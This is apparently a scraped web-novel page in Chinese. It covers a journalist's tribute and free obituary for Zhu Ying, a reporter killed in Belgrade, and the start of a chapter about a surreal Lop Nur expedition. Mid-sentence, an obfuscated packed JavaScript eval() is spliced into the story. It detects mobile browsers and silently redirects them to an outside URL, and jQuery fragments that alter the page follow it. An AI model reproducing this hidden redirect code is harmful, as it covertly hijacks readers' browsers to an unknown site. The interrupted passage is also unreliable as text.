“她是咱这儿的闺女。”总编辑又说了一遍,这次用的是方言,“从小在南巷长大,吃海盐、吹海风长大的。” 叶葆启没说话。他走到自己的办公桌前,从抽屉深处摸出一包皱巴巴的香烟,抽出一支点燃。烟雾升腾起来,在日光灯下扭曲成奇怪的形状,像某种古老的象形文字,诉说着无法言说的悲伤。窗外,人群越聚越多,沉默开始发酵,变成低沉的、涌动的、危险的东西。 雨还在下。 寻找朱颖亲属的过程像在迷雾中摸索。这座城说大不大,说小不小,三百多万人在此生息,每个人的故事都如珊瑚虫般悄无声息地堆积,最终形成坚硬的、错综复杂的珊瑚礁。叶葆启和同事小骆拿着街道办提供的模糊线索,在老城区蛛网般的小巷里转了两天。 第三天下午,雨势稍歇,天空露出一小块惨淡的鱼肚白。他们终于在一处墙皮剥落的老院里,找到了朱颖的五姨。 门是虚掩着的。叶葆启抬手敲门,木质门板发出空空的回响,像是敲在什么巨大的空腔上。门开了条缝,露出一张六十多岁妇人的脸。那张脸原本应该是圆润慈祥的,此刻却被悲痛侵蚀得沟壑纵横,眼窝深陷,像两口干涸的井。 “你们是……”老人的声音细若游丝。 “报社的。”叶葆启出示证件,“关于朱颖……” “颖儿啊!”老人突然哭出声来,那哭声不是从喉咙,而是从胸腔深处某个裂开的地方涌出来的。她拉开门,整个人几乎要瘫软下去,小骆赶紧上前扶住。 院子里有棵老槐树,树冠如盖,树下积着一洼洼雨水。正屋的门楣上,不知谁已经挂上了一截黑布,被雨水打湿了,沉甸甸地垂下来。屋里光线昏暗,只有正对门的那面墙是亮的——那里摆着一张披着黑纱的照片,照片前供着三碟水果、一捧白菊。 照片上的姑娘在笑。那种笑很特别,不是冲着镜头的,而是冲着镜头之外的某个地方,眼睛微微眯起,嘴角上扬的弧度恰到好处,仿佛刚听到一个有趣的笑话,又像是看见了什么特别美好的东西。她的头发被风吹起几缕,阳光洒在脸上,形成了细小的光斑。 “这是她去年春天拍的,”五姨被搀扶着在椅子上坐下,目光黏在照片上,“在贝尔格莱德的多瑙河边。她说那儿的天特别蓝,蓝得不像真的。” 叶葆启在老人对面坐下,打开采访本。笔尖悬在纸上,迟迟落不下去。他采访过火灾、车祸、凶杀案,见过各种各样的死亡和悲伤,但这一次不同。这一次,死亡如此具体,又如此遥远;悲伤如此私人,又如此宏大。 “您能跟我们说说她吗?”小骆轻声问,递上一杯热水。 五姨捧着杯子,热气蒸腾起来,模糊了她的脸。她开始说话,起初断断续续,后来越说越流畅,仿佛打开了一个封存已久的闸门。 朱颖是吃百家饭长大的。父亲早逝,母亲体弱,她从小就在几个姨家轮流住。南巷的老房子,推开窗就能看见海——不是那种开阔的、蔚蓝的海,而是被码头、渔船、防波堤切割成一块一块的灰色海面。空气里永远弥漫着鱼腥味和盐碱味。 “但她从小就跟别的孩子不一样。”五姨说,嘴角浮现出一丝近乎骄傲的苦笑,“别的小姑娘玩跳皮筋、抓石子,她就爱看书。家里穷,买不起,她就去废品站淘,去图书馆借。有一次,她捡到半本被水泡过的《红楼梦》,纸都粘在一起了,她就一页一页小心翼翼地揭开,晾干了,用米汤糊好,当宝贝似的。” “她是什么时候想当记者的?” 五姨想了想:“初中吧。有一年台风过境,海水倒灌,南巷淹了大半。水退后,她在淤泥里捡到一本记者证,塑封的,照片已经模糊了。她揣着那本记者证揣了整整一个夏天,逢人就说:‘我长大了也要当记者,要去最远的地方,写最重要的新闻。’” 叶葆启低头记录,笔尖在纸上沙沙作响。他忽然想起自己年少时,也曾在某个黄昏,对着西沉的太阳发誓要“铁肩担道义,妙手著文章”。二十多年过去了,他的肩膀被生活磨出了老茧,手也习惯了键盘的触感。而那个在南巷捡到记者证的女孩,真的去了最远的地方,写了最重要的新闻——用生命做了最后的注脚。 “她走之前回来过一次,”五姨的声音把叶葆启拉回现实,“是去年中秋。她黑了,瘦了,但眼睛特别亮。她说贝尔格莱德的天空总能看到战斗机拉出的白线,像谁用刀子在蓝布上划出的口子。她说当地的孩子们已经习惯了警报,警报一响,不是往防空洞跑,而是先抬头看天,判断轰炸的方向。” 老人停顿了很久,久到叶葆启以为她不会再说下去了。窗外的雨又下起来,敲打着槐树叶,发出细密的、悲伤的声响。 “她临走时,抱了抱我,说:‘五姨,别担心,我会小心的。有些事总要有人去做,有些话总要有人去说。’”五姨抬起泪眼,“她身上有股味道……不是香水,是纸和墨的味道,还有……还有一种我说不上来的、像铁锈一样的味道。” 采访持续到傍晚。雨停了,西边的云层裂开一道缝,夕阳像熔化的金子般倾泻而下,把院子里的积水染成血红。叶葆启和小骆起身告辞时,五姨突然抓住叶葆启的手。 她的手冰凉,皮肤薄得像纸,能感觉到下面骨头的形状。 “记者同志,”她盯着叶葆启的眼睛,“你们写文章,能不能……能不能不光是说她怎么牺牲的?也说说她怎么活的。说说她小时候考试考好了会蹦着走路,说说她吃鱼会被刺卡住,说说她第一次拿到记者证时哭了半个钟头……她不只是个烈士,她还是我的颖儿,是个人,是个活生生的、有血有肉的人啊!” 叶葆启郑重地点头。那一刻,他感到肩上压下了某种无形却沉重的东西——不是责任,不是使命,而是更具体的东西:一个母亲对女儿的全部记忆,一个生命对另一个生命的全部见证。 那晚叶葆启没有回家。他留在办公室,把所有的材料铺在桌上:五姨的口述记录,公开报道的剪报,朱颖生前同事的回忆文章,还有从资料室借来的关于南联盟局势的背景材料。日光灯发出嗡嗡的电流声,窗外的城市渐渐安静下来,只有远处港口传来的轮船汽笛,低沉而悠长,像巨兽的叹息。 他试图拼凑出一个完整的朱颖。不是烈士朱颖,不是记者朱颖,而是从南巷走出来的、爱吃糖葫芦的、怕黑的、曾经为青春痘烦恼过的普通女孩。这个女孩如何在某个时刻,做出了走向远方的决定?又如何在那片战火纷飞的土地上,日复一日地工作、生活、记录? 凌晨两点,叶葆启趴在桌上打了个盹。他做了一个梦,梦见自己走在一条陌生的街道上,两旁的建筑是欧式的,但墙面上布满弹孔。天空是奇怪的暗红色,像即将凝固的血。一个女孩背着相机从他身边跑过,短发飞扬。 “等等!”他喊。 女孩回过头——是照片上那张脸,但更生动,脸颊上有几颗雀斑,鼻尖沁着细密的汗珠。 “你要去哪儿?”他问。 “去有新闻的地方。”女孩笑着,露出一颗小小的虎牙,“你要一起来吗?” 他还想说什么,远处突然传来爆炸声,地面剧烈震动。女孩转身就跑,她的白衬衫在暗红色的天空下格外醒目,像一只逆风飞行的白鸟。叶葆启想追,双脚却像被钉在地上,动弹不得。他只能眼睁睁看着那个白色身影越来越小,最终消失在街道拐角处。 惊醒时,天已微亮。窗外的梧桐树上,早起的鸟儿开始啁啾。叶葆启揉揉发涩的眼睛,拿起笔,在稿纸顶端写下标题: 《雨中的鸢尾:一个女孩与她的时代》 他决定不写宏大的颂歌,而要写一条河流——一个人的生命如何汇入历史的洪流,又如何在那洪流中保持自己的形状与声音。他写朱颖的童年,写南巷的海风如何在夜晚拍打木窗,写她如何借着路灯的光读捡来的书;写她的青春,写她如何攒了三个月早餐钱买下第一台二手相机,如何在校报上发表第一篇报道时的兴奋;写她的选择,写她如何放弃沿海城市的安稳工作,主动请缨前往巴尔干半岛。 写到她在贝尔格莱德的生活时,叶葆启用尽了想象力。他查阅地图,找到中国大使馆的位置,想象她每天从住处到使馆的路程:经过被炸毁的剧院、弹痕累累的居民楼、排队领取救济粮的人群。想象她如何在空袭警报声中继续写稿,如何在停电的夜晚点着蜡烛冲洗照片。想象她给家人写信时,是报喜不报忧,还是偶尔也会流露一丝脆弱? 最难写的是最后的部分。公开报道只有冷冰冰的“遇难”二字,但叶葆启知道,死亡从来不是抽象的。它发生在具体的时刻、具体的地点,伴随着具体的声音、气味、触感。那一夜的大使馆,在导弹击中之前,是什么样子?朱颖是在工作,还是在休息?她最后想到的是什么?是未完成的稿件,是远方的亲人,还是单纯对死亡的恐惧? 叶葆启写不下去了。他起身走到窗前,点燃一支烟。城市正在醒来,早点摊升起炊烟,公交车开始运行,送奶工的车铃叮当作响。这是一个普通的清晨,和过去无数个清晨一样,和未来无数个清晨也将一样。但有些人的清晨永远停在了昨天。 他突然想起五姨说的“铁锈味”。现在他明白了,那是血与火、钢铁与硝烟混合的味道。那个从海风中长大的女孩,最终被另一种风——带着铁锈味的风——带走了。 稿子交给总编辑时,已经是第三天的黄昏。总编办公室朝西,此刻正沐浴在金色的夕阳中。总编辑戴着老花镜,一页一页仔细地读。他读得很慢,有时会停下来,摘下眼镜擦拭,但叶葆启知道,他不是在擦镜片。 读到某个段落时,总编辑的肩膀微微颤抖。那是叶葆启描写朱颖童年的一段:她如何在退潮后的滩涂上捡贝壳,如何把最美的那个藏在枕头下,每天晚上摸着它入睡。那个贝壳后来去了哪里?也许还留在南巷老屋的某个角落,也许在她离家时被随手丢弃了。但此时此刻,在文字里,它重新获得了生命,成为一个女孩纯真年代的见证。 “好。”总编辑终于读完最后一页,长长地吐出一口气,“就这样发。头版整版,配这张照片。”他指着叶葆启从五姨那里要来的生活照——朱颖站在海边,风吹起她的头发和衣角,她笑得毫无保留。 “但是,”总编辑顿了顿,“有个问题。按报社规定,讣告是要收费的,而且需要层层审批。” 叶葆启的心一沉。五姨的请求言犹在耳:“能不能登个小小的讣告?让亲戚朋友们知道追悼会的时间地点。我们不求显眼,就一个小小的角落……” “总编,”叶葆启说,“烈士家属就这么一个要求。而且,这不只是私事,也是公祭的一部分。让更多人知道,让想送她的人能去送她……” 总编辑抬手制止了他。老人站起身,走到窗前。夕阳把他的影子拉得很长,一直延伸到门口。窗外,又下雨了,雨丝在夕阳中闪闪发光,像无数根金线。 “你记得咱们报社的老规矩吗?”总编辑突然问。 叶葆启愣了愣:“您是说……” “老一辈传下来的规矩:凡是殉职的同行,报社要为他点一盏长明灯,登一份免费讣告。这规矩建国后就没怎么用了,因为和平年代,殉职的记者少。”总编辑转过身,眼神里有种叶葆启从未见过的坚硬,“但规矩就是规矩。今天,咱们为朱颖点这盏灯。” 他走到办公桌前,拿起红色电话:“排版室吗?明天头版,在稿子旁边,加一个黑框讣告。内容我马上让人送下去。对,免费的。有什么问题,让他们直接找我。” 挂断电话,总编辑对叶葆启说:“你去告诉朱颖的家人,讣告会登。还有,追悼会那天,报社派车,送所有想去的员工和读者代表一起去。费用社里出。” 叶葆启感到眼眶发热。他点点头,转身要走,又被叫住。 “小叶,”总编辑的声音柔和下来,“你这篇文章写得很好。它让我想起我年轻时,也认识一个像朱颖这样的记者。他去了朝鲜战场,再也没回来。我们给他登讣告时,主编说了一句话,我记了一辈子。” “什么话?” “他说:‘记者这支笔,平时写的是别人的生死,轮到自己时,也要写得堂堂正正。’”总编辑顿了顿,“朱颖这支笔,是堂堂正正地写完了最后一画。咱们这些还在写的人,得记住这个。” 报纸出版那天,整座城市似乎都屏住了呼吸。 清晨五点,印刷厂的第一批报纸刚刚下线,就被等在门口的报贩一抢而空。六点,街头的报亭前排起了长队。人们沉默地递钱,接过报纸,然后在第一版面前驻足。有人当场就哭了,泪水滴在报纸上,洇湿了朱颖照片的一角。 叶葆启骑车穿行在雨后的街道上。他看到公交车站,等车的人都在看报,一个中年男子看着看着,突然用报纸捂住脸,肩膀剧烈地抖动;他看到早餐店里,老板把一份报纸贴在橱窗上,用红笔圈出讣告的位置;他看到学校门口,老师把报纸举起来,对学生们说着什么,孩子们仰起的小脸上,有着与年龄不符的肃穆。 那方小小的黑框讣告,像一枚黑色的邮票,贴在城市这个巨大的信封上。它那么小,却又那么重,重得足以让所有看见它的人停下脚步,低下头颅。 报社的热线电话从早上七点就开始响个不停。小骆和几个同事接电话接到嗓子沙哑。有老人打电话来,说自己的孙女和朱颖一样大,哭得说不出话;有中年人说自己的弟弟也在国外当记者,要求转达对烈士家属的慰问;有年轻人问追悼会的时间地点,说要请假去参加;甚至有几个中学生,问能不能为朱颖种一棵纪念树。 下午,叶葆启去了南巷。五姨家的院子里挤满了人,都是街坊邻居,还有看到报道找来的陌生人。人们送来白菊、挽联、亲手折的纸鹤。五姨被围在中间,一遍又一遍地讲述着朱颖的往事。她的声音已经嘶哑,但眼神里有种奇异的光亮——那是一个普通母亲,突然发现女儿的生命以另一种方式延续时的复杂情感。 叶葆启没有打扰他们。他悄悄退出来,沿着潮湿的小巷慢慢走。巷子两边的老墙长满青苔,墙角有被雨水打落的槐花,白色的小小一朵,贴在青石板上,像一个个小小的句号。 走到巷口时,他看见一个老人坐在门槛上,手里拿着一份报纸。老人很老了,背弯得像只虾,脸上布满老年斑。他戴着老花镜,一个字一个字地读着《雨中的鸢尾》,嘴唇无声地翕动。 叶葆启在他身边停下。 “写得好啊。”老人头也不抬地说,声音沙哑得像破风箱,“这姑娘……我见过的。” “您见过朱颖?” “她小时候,常来我这儿买糖葫芦。”老人抬起浑浊的眼睛,“我做了五十年糖葫芦,见过多少孩子长大、变老、离开。这姑娘不一样,她眼睛里有火。我说:‘丫头,你这么爱看书,将来是要做大事的。’她笑,露出两个酒窝:‘爷爷,我要当记者,把世界上所有的事都写出来。’” 老人用枯瘦的手指抚摸报纸上的照片:“她真的去写了。写到了最后。” 叶葆启在他身边坐下。两人沉默了很久,只有远处传来的海浪声,一波又一波,永不停歇。 “您说,”叶葆启突然问,“她走的时候,会疼吗?” 老人看了他一眼,眼神里有种历经沧桑的慈悲:“孩子,疼不疼已经不要紧了。要紧的是,她走的是自己想走的路。这世上,多少人活一辈子,都没走过自己想走的路啊。” 夕阳西下时,叶葆启回到报社。总编辑站在窗前,背对着门。窗外,城市的灯火次第亮起,在雨后的空气中晕染开一片片暖黄的光晕。 “你看,” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904191|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总编辑没有回头,“这座城市,有三百万人。每个人都在活着,爱着,痛着,遗忘着。但今天,三百万人都在想同一个姑娘。” 叶葆启走到他身边。从四楼的窗户看出去,整座城市尽收眼底。街道如血脉延伸,灯光如细胞闪烁。这是一个庞大而精密的生命体,此刻,它为一个逝去的女儿静默。 “我常想,”总编辑轻声说,“记者到底是什么?是历史的记录者?是真相的追寻者?还是权力的监督者?今天我觉得,记者首先是人。是能感受他人之痛、理解他人之梦、铭记他人之生的人。朱颖做到了,用最彻底的方式。” 夜渐渐深了。叶葆启加班修改一篇稿件时,突然听见走廊里传来脚步声。他抬头,看见一个清洁工阿姨推着清洁车走过。阿姨在总编辑的办公室门口停下,从怀里掏出一支白菊,轻轻放在门边。 “郭总编睡了,”阿姨看见叶葆启,不好意思地笑笑,“我进不去。就放这儿吧。我女儿和朱记者一样大,也在外地工作。看了报纸,我一晚上没睡着。” 她推着车走了,脚步声在空旷的走廊里渐渐远去。叶葆启走过去,拾起那支白菊。花瓣上还带着夜露的湿润,在灯光下闪着细碎的光。 追悼会那天,天空湛蓝得不像真的,像是有人用最纯粹的颜料,一笔刷满了整个苍穹。报社安排了三辆大巴,却还是不够坐——很多读者自发前来,骑着自行车,坐着公交车,甚至步行,向着城北的殡仪馆汇聚。 叶葆启坐在第一辆大巴的靠窗位置。车缓缓行驶,他看见街道两旁,不知何时挂起了许多白花。不是官方组织的,是市民自发的。有的挂在行道树上,有的系在路灯杆上,有的贴在店铺橱窗上。那些白花在晨风中轻轻摇曳,像无数只挥别的手。 五姨坐在前排,穿着一身黑衣,手里紧紧攥着一个旧布包。叶葆启知道,里面装着朱颖小时候的作业本、获奖证书,还有那个从海边捡来的贝壳。这些微不足道的物品,此刻成为一个生命存在过的全部证据。 殡仪馆外已经人山人海。人们安静地排着队,手里拿着白菊、报纸、自制的小白花。空气中弥漫着花香和悲伤,但那悲伤不是压抑的、绝望的,而是清澈的、有力量的,像深海之下的暗流,表面平静,内里汹涌。 追悼会开始前,叶葆启在休息室见到了朱颖的母亲。那是一位瘦小的妇人,头发全白了,被两位亲属搀扶着,整个人像一片风中的枯叶。她没有哭,只是眼神空洞地望着前方,仿佛灵魂已经随着女儿去了远方。 “阿姨,”叶葆启上前,不知该说什么,“朱颖的文章……写得很好。” 母亲缓缓转过头,看着他。那双眼睛深不见底,盛满了人类语言无法承载的伤痛。她张了张嘴,终于发出声音:“她走的时候……是睡着的吗?” 叶葆启的心脏被狠狠揪紧了。所有准备好的安慰话语瞬间蒸发,他只能诚实地说:“公开报道说,是在睡梦中……” 母亲点点头,又转回头去,继续望着虚空。也许,对一位母亲来说,女儿是否在睡梦中离去,是最后一点可怜的慰藉。 追悼会现场,黑纱、白花、挽联、遗像。朱颖的笑容依然灿烂,与周遭的肃穆形成刺痛的反差。哀乐响起时,人群开始低泣。那哭声起初压抑,渐渐放开,最后汇成一片悲伤的海洋。叶葆启站在记者区,看着这一切,手中的笔重如千钧。 轮到他上前献花时,他走到朱颖的遗像前,深深鞠躬。抬起头时,他看见照片旁边摆着几件遗物:一个旧相机,一个笔记本,一支笔。相机外壳有几处磕碰的痕迹,笔记本的边角已经磨损,笔是很普通的圆珠笔,透明笔杆能看到剩下的墨水。 就是这些东西,记录了一个时代的伤口,见证了一个民族的伤痛,最终承载了一个年轻生命的全部重量。 叶葆启突然明白了总编辑说的“长明灯”。那灯不是真的灯,而是一种记忆,一种精神,一种代代相传的坚守。朱颖点亮了她那盏,现在,灯火传到了活着的人手中。 追悼会结束后,人群缓缓散去。叶葆启最后一个离开大厅。走到门口时,他回头看了一眼。夕阳从西窗斜射进来,正好照在朱颖的遗像上。那张年轻的脸笼罩在金色的光晕中,笑容温暖而永恒。 那一刻,叶葆启产生了一种奇异的错觉:他看见照片上的朱颖眨了眨眼,嘴角的弧度似乎更深了些。然后他意识到,是自己的泪水模糊了视线。 文章获奖的消息是在秋天传来的。好新闻一等奖,评语写得庄重而恳切。社里开了庆功会,总编辑把奖状颁给叶葆启时,会议室里掌声雷动。但叶葆启没有太多喜悦。他知道,这份荣誉不属于他一个人,甚至主要不属于他。它属于朱颖,属于所有在那场灾难中逝去的生命,属于一个民族在伤痛中的坚守与尊严。 会后,他带着奖状和一本装订好的报道合集,再次去了南巷。五姨的家门虚掩着,院里槐树的叶子已经开始泛黄。他敲门进去,发现屋里还有几位客人——都是看了报道找来的,有老师,有学生,有退休工人。 五姨看起来比上次精神了些。她接过奖状,用衣袖仔细擦拭玻璃框,然后把它摆在朱颖遗像的旁边。 “颖儿啊,”她对着照片说,“你看见了吗?你的故事,让这么多人都记住了。值了,值了。” 一位中学老师站起来,有些激动地说:“阿姨,我们学校把朱记者的事迹编进了校本课程。上周的主题班会,孩子们都哭了。他们说要向朱颖姐姐学习,认真读书,将来做一个对国家有用的人。” 一个女学生怯生生地问:“阿姨,朱颖姐姐小时候……真的为了买书不吃早饭吗?” 五姨笑了,眼角的皱纹像菊花般绽开:“可不是嘛。有一次饿晕在课堂上,老师把她送回家,我才知道。打那以后,我每天多给她五毛钱,专门买早饭。可她倒好,把钱攒起来,买了更多书。” 大家都笑了,笑声中有泪光闪烁。叶葆启坐在角落里,看着这一切。他突然觉得,死亡也许不是终结,而是另一种开始——当一个人的生命融入更多人的记忆,当一个人的选择启迪更多人的道路,她就获得了某种意义上的永生。 离开时,五姨送他到门口。秋天傍晚的风已经有了凉意,吹得槐树叶沙沙作响。 “叶记者,”五姨叫住他,“有件事,我一直没跟人说。” 叶葆启停下脚步。 “颖儿去贝尔格莱德前,给我写过一封信。”五姨从怀里掏出一个泛黄的信封,小心翼翼地展开信纸,“她说,她知道那儿危险,但她必须去。因为有些真相,就像海底的珍珠,必须有人潜入最深处才能采到。她说,如果……如果她回不来了,不要为她难过太久。她说,记者的一生,不是用长度衡量的,而是用深度。” 信纸在风中微微颤抖。叶葆启看见上面娟秀的字迹,还有几处水渍晕染的痕迹——不知是写信人的泪,还是读信人的泪。 “这封信,你拿去吧。”五姨把信叠好,塞进他手里,“也许有一天,你能把它写进另一篇文章里。让更多人知道,我的颖儿走的时候,是清醒的,是坚定的,是她自己选择的道路。” 叶葆启握着那封信,感觉它像炭火一样烫手。他想推辞,但看到五姨的眼神,又把话咽了回去。那眼神里有托付,有信任,有一种跨越血缘的亲情。 “我会好好保存。”他郑重地说。 走在回程的路上,暮色四合,华灯初上。街道两旁的桂花开了,香气浓郁得化不开,与海风带来的咸腥味混合在一起,形成这座城市特有的气息。叶葆启深深地呼吸,让这气息充满胸腔。 他想,朱颖再也闻不到故乡的桂花香了。但也许,在某个平行的时空里,她正走在贝尔格莱德的街头,空气中是硝烟与咖啡的混合气味。她举起相机,对准废墟中绽放的一朵野花,按下快门。那一刻,故乡与异乡,生与死,瞬间与永恒,都在取景框里达成了和解。 记者之笔,有时轻如鸿毛,记录市井百态、人间烟火;有时重如千钧,承载国族命运、时代良心。朱颖用她二十七年的生命,把这支笔的重量,刻进了历史的年轮。 而活着的人,除了继续书写,还能做什么呢? 叶葆启加快脚步,向着报社的方向走去。今夜,还有稿子要写,还有真相要追寻,还有无数个平凡而重要的故事,等待着被看见、被记录、被记住。 路灯把他的影子拉长又缩短,缩短又拉长,仿佛在丈量着一个记者从初心到终点的全部距离。他知道,这段路没有终点。只要还有不公需要揭露,还有美好需要传扬,还有真相需要追寻,记者的笔就不会停下。 就像那海边的浪潮,一波退去,一波又起,永不停息。 40. 第40章 盐壳与星图 当通知抵达手中时,叶葆启正坐在办公室里修剪一盆茉莉。剪刀悬在半空,纸张上的字迹在九月的阳光下泛起细密的金边——“罗布泊探险采访队”。茉莉的清香突然变得尖锐,像一根针,刺穿了二十年记者生涯积攒的尘膜。 素琴那晚为他整理行装时,手指在冲锋衣的拉链上反复滑过三次才拉拢。“四十七岁,”她轻声说,声音像是从很深的井里打捞上来,“不是二十七岁。” 叶葆启没有回答。他看见窗外城市灯火如溃疡般在夜色中蔓延,想起二十年前在青海三江源采访,那个会说四百种鸟鸣声的藏族老人。老人告诉他:“最老的鹰飞得最高,因为它记得所有的风。” 选拔过程是一场奇特的仪式。三十名记者被送往怀柔一处训练基地,在模拟盐碱地上负重行走,在人工制造的四十度高温帐篷里写采访提纲。最后一个傍晚,教官让每个人对着西沉的太阳呼喊自己最想采访的人名。有人喊“爱因斯坦”,有人喊“李白”,叶葆启听见自己的声音撕裂空气:“彭加木——” 回声在山谷间三折四返,变成了“木——木——木”,像某种古老咒语的余韵。 入选名单公布那天,北京下起了罕见的黄沙雨。细沙打在窗玻璃上沙沙作响,叶葆启恍惚觉得,那是罗布泊提前送来的请柬。 出发前夜,采访队在敦煌夜市举行饯行。驴肉黄面的蒸汽与烤骆驼肉的烟火交织,仿若古丝绸之路上所有消失驿站的魂魄在此重聚。队长老陈——一个左眼下方有月牙形疤痕的蒙古族汉子——举起杏皮水:“自此向西,再无盛宴。” 叶葆启注意到角落里坐着一位沉默的摄影师。他六十上下,手指关节粗大如树根,始终抱着一台老式海鸥相机。后来才知道,这是1980年彭加木科考队唯一幸存下来的随队记者,姓吴,大家都叫他“老海鸥”。 “您见过彭加木?”叶葆启递过一支烟。 老海鸥的眼睛在烟雾后闪烁:“我见过他影子里的骆驼刺。六月十一日,他向东走,影子向西延伸,长得像楼兰古城的城墙。”他拍了拍相机,“这里面有他最后的脚印,胶卷一直没冲。等了二十一年,等光穿透罗布泊的盐壳。” 深夜,叶葆启在宾馆房间摊开地图。罗布泊的形状确实像一只耳朵——地球的耳朵,聆听所有被遗忘的回声。他用红色铅笔沿着预定路线描画,笔尖划过之处,纸张竟渗出细小的盐晶。 凌晨三点,手机震动。是女儿从美国发来的短信:“爸,昨夜梦见你变成一株胡杨,一半在火里,一半在水里。”他走到窗前,看见鸣沙山的轮廓在月光下如卧佛呼吸。 九月十五日的太阳是淬过火的铜锣。六辆改装越野车驶出敦煌时,叶葆启回头看见三危山的岩壁在晨曦中渗出血红——那是王道士发现藏经洞的地方,一个世纪前的秘密如疟疾般从此处蔓延至世界。 车队很快驶入戈壁。起初还有骆驼刺和红柳的尸体以扭曲的姿态宣示曾经的生机,渐渐地,大地露出了骨头。砾石滩铺展到天际,每一块石头都被风打磨成相似的模样,像时间结出的统一结石。 “看,海市蜃楼!”同车的年轻记者小杨指着前方。 果然,地平线上浮动着湖泊、树林,甚至还有帆影。但叶葆启知道,那些是戈壁的谎言。二十年前在新疆采访时,一个维族向导告诉他:渴死的人里有一半是追着幻影走的,另一半是停下等幻影来的。 无线电滋滋作响,传来老陈的声音:“所有人注意,我们正经过汉代‘白龙堆’雅丹区。据记载,此处常有‘鬼哭’,实则是风穿过岩穴的声音。但若听到女子唱歌,必须立即报告。” 小杨脸色发白。摄影师老赵——一个拍过昆仑山殡葬队的硬汉——咧嘴一笑:“怕什么?1986年我在阿尔金山拍雪豹,听见整座山在诵经。后来才知道,那是唐朝僧侣回鹘文经卷的震动频率,冻在了冰川里。” 叶葆启开始写日记。笔记本的纸张因干燥而卷曲,钢笔水渗出即被吸干,字迹边缘长出了盐的绒毛。 9月15日,向死而生。 大地是烘烤过头的馕,裂纹中藏着上一个纪元的遗嘱。车队如甲虫爬行在巨人的掌纹里,每一条纹路都是一条干涸的河。想起玄奘《大唐西域记》中写:“沙则流漫,聚散随风,人无行迹,遂多迷路。四远茫茫,莫知所指。” 奇怪的是,并不觉得恐惧,反而有种归乡的错觉。或许每个中国人的记忆深处,都有一片罗布泊——那是所有消失之物的集体坟场,也是所有寻找的原点。 下午三时,气温升至四十六度。热风从车窗缝隙钻进,带着铁锈与骨粉的气味。突然,对讲机里传来急促的声音:“三号车!三号车爆胎!” 爆胎的是老海鸥的车。众人下车时,热浪如实体般撞来,叶葆启感到鼻腔粘膜瞬间干裂出血。地面温度超过六十度,鞋底发出焦糊的气味。 换胎的过程像慢动作的仪式。扳手烫得需要戴两层手套才能握住,螺栓在高温中膨胀,发出痛苦的呻吟。汗水刚渗出就蒸发,在衣服上留下一圈圈盐渍。随队医生李大夫——一个曾在非洲治过埃博拉的女医生——挨个检查每个人的瞳孔:“注意,脱水时最先出现的是幻觉。” 老海鸥却异常平静。他跪在爆裂的轮胎旁,用放大镜观察割破处的纹理,然后取出那台海鸥相机,对着轮胎拍了一张。“盐壳的切口,”他喃喃自语,“和彭加木水壶上的一模一样。” 继续前行一小时后,土垠遗址如海市蜃楼般从热浪中浮现。但这次不是幻觉——汉代烽燧的残躯矗立在黄昏的光中,土坯被风蚀成千疮百孔的蜂巢,每个孔洞里都住着时间的幼虫。 叶葆启走近抚摸墙体。触感不是土,而是某种介于骨殖与陶器之间的物质。他把耳朵贴在墙上,竟然听到了声音:不是风声,而是断续的、用古汉语发音的计数——“一百三十七、一百三十八……”那是戍卒数着望不到头的日子。 “你听见了?”老海鸥不知何时站在身后,手里拿着一块从烽燧下捡到的木简残片,“汉简会说梦话。特别是那些没写完的家书。” 考古队的王研究员用软刷清理着遗址边缘,突然惊呼:“快来看!”在烽燧基座下,露出一角织锦。轻轻抽出,是一块巴掌大的汉代“五星出东方利中国”锦护膊——本该在尼雅遗址出土的国宝,竟奇迹般出现在这里。 “这不合理,”王研究员的手在颤抖,“这花纹、这织法……但为什么是完整的?像昨天刚埋下。” 老海鸥举起相机:“也许时间在这里打了个结。” 夜晚,星空低垂得荒诞。银河不是天上的一条河,而是倾倒下来的光的瀑布,要把所有人冲进时间的下游。叶葆启裹着羽绒服坐在烽燧旁,看见老陈在测量星图,老海鸥在月光下擦拭镜头,李大夫在帐篷里用听诊器听自己的心跳——每个人都用自己的方式确认存在。 9月15日夜,土垠。 汉代戍卒的计数声还在继续。他们数到了多少?一千?两千?时间在这里是环形的,像烽燧顶上坍塌的圆。 老海鸥悄悄告诉我,彭加木失踪前一夜,也在看这样的星空。他说:“老彭指着天琴座说,那里有颗看不见的星,是楼兰公主的耳坠。”科学家不该说这样的话,除非他看见了我们看不见的东西。 今晚我明白了:罗布泊不是空白,而是过载。太多的死亡、太多的秘密、太多的目光(从班超到斯文·赫定)在这里堆积,压塌了时间的结构。于是过去渗进了现在,就像盐从地里渗出。 子夜时分,叶葆启被一种声音惊醒。那确实是歌声——女子的歌声,用听不懂的语言,从烽燧方向飘来。他掀开帐篷一角,看见月光下,那块汉代织锦自己在风中舒展,上面的五星图案像真正的星辰般闪烁。 第二天进入盐壳区时,世界失去了颜色。 不是黑白,而是所有颜色被漂白后的灰白。大地碎裂成无数多边形板块,每道裂缝深不见底,边缘锋利如史前巨兽的牙齿。车辆行驶其上,发出骨裂般的脆响。老陈命令每辆车保持五十米距离:“如果有一辆陷落,其他的还能救援。” 小杨突然指着窗外尖叫:“人脸!” 众人望去,只见一片盐壳上凸起清晰的五官轮廓——高鼻深目,头戴尖帽,是典型的吐火罗人面相。紧接着,越来越多的面孔从盐壳下浮现:汉人、羌人、粟特人、吐蕃人……整片大地变成了巨大的浮世绘。 “是盐的结晶过程记录了过往行人的倒影,”王研究员的声音发颤,“理论上不可能,但罗布泊有自己的理论。” 更诡异的事情发生在中午。车队停下来午餐时,李大夫发现医疗箱里多了一支玻璃注射器,里面装着淡蓝色液体,标签是褪色的俄文。“1964,”她辨认着,“苏联医疗队的抗辐射剂。可是我们没人带这个。” 老海鸥检查了每辆车的物资清单,摇头。“不是我们的。”他顿了顿,“也许是马兰基地的幽灵补给。” 叶葆启蹲在盐壳裂缝旁,用绳子系着温度计垂下去。十米、二十米、三十米……绳子放完,温度计还没触底。他把耳朵贴在裂缝边缘,听到了水声——不是幻觉,是真正的地下暗流涌动声。但这怎么可能?罗布泊干涸四十年了。 